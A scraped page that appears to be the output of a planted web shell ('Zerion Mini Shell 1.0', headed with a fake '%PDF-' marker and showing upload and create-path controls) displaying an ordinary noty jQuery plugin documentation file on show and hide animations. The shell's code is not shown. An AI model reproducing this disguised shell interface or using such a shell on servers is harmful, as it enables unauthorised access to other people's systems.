%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pjc/vendor/needim/noty/docs/v2/
Upload File :
Create Path :
Current File : /var/www/pjc/vendor/needim/noty/docs/v2/animations.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <meta name="description" content="noty is a jquery plugin which is have too many options for display notification">
    <meta name="keywords" content="jquery, notification, plugin, opensource, open, source">
    <meta name="author" content="Nedim Arabacı (http://ned.im)">

    <title>noty - a jQuery Notification Plugin</title>

    <link href='https://fonts.googleapis.com/css?family=Nunito' rel='stylesheet' type='text/css'>

    <link rel="stylesheet" href="vendor/bootstrap.min.css" />
    <link rel="stylesheet" href="vendor/animate.css" />
    <link rel="stylesheet" href="vendor/ps-icon-pack.css" />
    <link rel="stylesheet" href="vendor/custom.css" />
    <link rel="stylesheet" href="vendor/google-code-prettify/prettify.css" />

</head>

<body>

    <div class="wrapper">

        <div class="container-fluid">

            <div class="col-md-3">

                <img src="img/projects/noty-v2-logo.png" alt="" class="left-logo">

                <div class="project-info mt10 text-muted small">
                    <strong>NOTY</strong> is a <strong>jQuery plugin</strong> that makes it easy to create alert - success - error - warning - information - confirmation messages as an alternative the standard alert dialog. Each notification is added
                    to a queue. (Optional)
                    <br><br>
                </div>

                <ul class="top-links">
                    <li>
                        <a class="active" href="/noty/v2/"><span class="ps-icon ps-icon-code"></span> Installation</a>
                    </li>
                    <li>
                        <a href="/noty/v2/options.html"><span class="ps-icon ps-icon-row-setting"></span> Options & Defaults</a>
                    </li>
                    <li>
                        <a href="/noty/v2/layouts.html"> <span class="ps-icon ps-icon-apps"></span> Types & Layouts</a>
                    </li>
                    <li>
                        <a href="/noty/v2/themes.html"><span class="ps-icon ps-icon-wand"></span> Theme Library</a>
                    </li>
                    <li>
                        <a href="/noty/v2/animations.html"><span class="ps-icon ps-icon-blaster"></span> Show & Hide Animations</a>
                    </li>
                    <!--<li>-->
                    <!--<a href="/noty/v2/queuing.html"><span class="ps-icon ps-icon-retweet-1"></span> Queue System</a>-->
                    <!--</li>-->
                    <li>
                        <a href="/noty/v2/confirmations.html"><span class="ps-icon ps-icon-headset"></span> Confirm Dialogs</a>
                    </li>
                    <li>
                        <a href="/noty/v2/api.html"><span class="ps-icon ps-icon-branch"></span> API & Callbacks</a>
                    </li>
                    <li>
                        <a href="/noty/v2/releases.html"><span class="ps-icon ps-icon-label"></span> Release History</a>
                    </li>
                    <!--<li>-->
                    <!--<a href="/noty/v2/extra.html"> <span class="ps-icon ps-icon-sale-tag"></span> Extra</a>-->
                    <!--</li>-->
                </ul>

                <div class="mt20 supported-by">
                    <a target="_blank" href="https://www.jetbrains.com?ref=notyjs">
                        <img src="img/projects/logo_JetBrains_4.svg" width="80" alt="">
                        <small class="text-muted">&nbsp; Supported by JetBrains</small>
                    </a>
                </div>

                <br>
                <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
                <!-- Nedim - 336x280 -->
                <ins class="adsbygoogle" style="display:inline-block;width:336px;height:280px" data-ad-client="ca-pub-6920776915496505" data-ad-slot="4982077735"></ins>
                <script>
                    (adsbygoogle = window.adsbygoogle || []).push({});
                </script>

            </div>

            <div class="col-md-9">

                <div class="right-buttons">
                    <div class="project-links mt30">
                        <iframe src="http://ned.im/github-buttons/ghbtn.html?user=needim&amp;repo=noty&amp;type=watch&amp;count=true" allowtransparency="true" frameborder="0" scrolling="0" width="125px" height="35px"></iframe>
                        <iframe src="http://ned.im/github-buttons/ghbtn.html?user=needim&amp;repo=noty&amp;type=fork&amp;count=true" allowtransparency="true" frameborder="0" scrolling="0" width="115px" height="35px"></iframe>
                        <iframe src="http://ned.im/github-buttons/ghbtn.html?user=needim&amp;type=follow&amp;count=true" allowtransparency="true" frameborder="0" scrolling="0" width="190px" height="35px"></iframe>
                        <iframe src="http://ned.im/github-buttons/ghbtn.html?user=needim&amp;repo=noty&amp;type=download&amp;count=true" allowtransparency="true" frameborder="0" scrolling="0" width="162px" height="35px"></iframe>
                        <div class="sharer-btn text-center"></div>
                    </div>

                </div>

                <div class="right-content mt10">

                    <div id="options">

                        <div class="row">
                            <div class="col-xs-12 col-md-12 col-lg-12">

                                <h1><span class="ps-icon ps-icon-blaster"></span> Show & Hide Animations</h1>


                                <div>
                                    <p>
                                        1. Using with <a href="http://api.jquery.com/animate/" target="_blank">jQuery animate properties</a>;
                                    </p>


                                    <pre class="prettyprint lang-javascript">
var n = noty({
    text: 'NOTY - a jquery notification library!',
    animation: {
        open: {height: 'toggle'},
        close: {height: 'toggle'},
        easing: 'swing',
        speed: 500 // opening &amp; closing animation speed
    }
});
</pre>

                                    <blockquote>
                                        <strong>About Easing</strong><br> The remaining parameter of .animate() is a string naming an easing function to use. An easing function specifies the speed at which the animation progresses at different points
                                        within the animation. The only easing implementations in the jQuery library are the default, called swing, and one that progresses at a constant pace, called linear. More easing functions are available with the
                                        use of plug-ins, most notably the <a href="http://jqueryui.com/" target="_blank">jQuery UI suite</a>.
                                    </blockquote>


                                    <p>
                                        2. Using with class names. (like animate.css)
                                    </p>

                                    <pre class="prettyprint lang-javascript">
var n = noty({
    text: 'NOTY - a jquery notification library!',
    animation: {
        open: 'animated bounceInLeft', // Animate.css class names
        close: 'animated bounceOutLeft', // Animate.css class names
        easing: 'swing', // unavailable - no need
        speed: 500 // unavailable - no need
    }
});
</pre>

                                    <blockquote>
                                        <strong>easing</strong> and <strong>speed</strong> <span class="imp">has no effect</span> when <strong>string class name</strong> is being used.
                                    </blockquote>

                                </div>

                            </div>
                        </div>
                    </div>

                    <div class="next-section mt30 mb30">
                        Next; <a href="/noty/v2/confirmations.html">Confirm Dialogs</a>
                    </div>

                </div>

            </div>

        </div>

        <script type="text/javascript" src="vendor/jquery-1.10.2.min.js"></script>
        <script type="text/javascript" src="vendor/noty-2.4.1/js/noty/packaged/jquery.noty.packaged.js"></script>
        <script type="text/javascript" src="vendor/google-code-prettify/prettify.js"></script>
        <script type="text/javascript" src="vendor/share.min.js"></script>
        <script type="text/javascript" src="vendor/showdown/showdown.min.js"></script>
        <script type="text/javascript" src="vendor/documentation.js"></script>

        <script>
            (function(i, s, o, g, r, a, m) {
                i['GoogleAnalyticsObject'] = r;
                i[r] = i[r] || function() {
                    (i[r].q = i[r].q || []).push(arguments)
                }, i[r].l = 1 * new Date();
                a = s.createElement(o),
                    m = s.getElementsByTagName(o)[0];
                a.async = 1;
                a.src = g;
                m.parentNode.insertBefore(a, m)
            })(window, document, 'script', 'https://www.google-analytics.com/analytics.js', 'ga');

            ga('create', 'UA-46744044-1', 'auto');
            ga('send', 'pageview');
        </script>

</body>

</html>

Zerion Mini Shell 1.0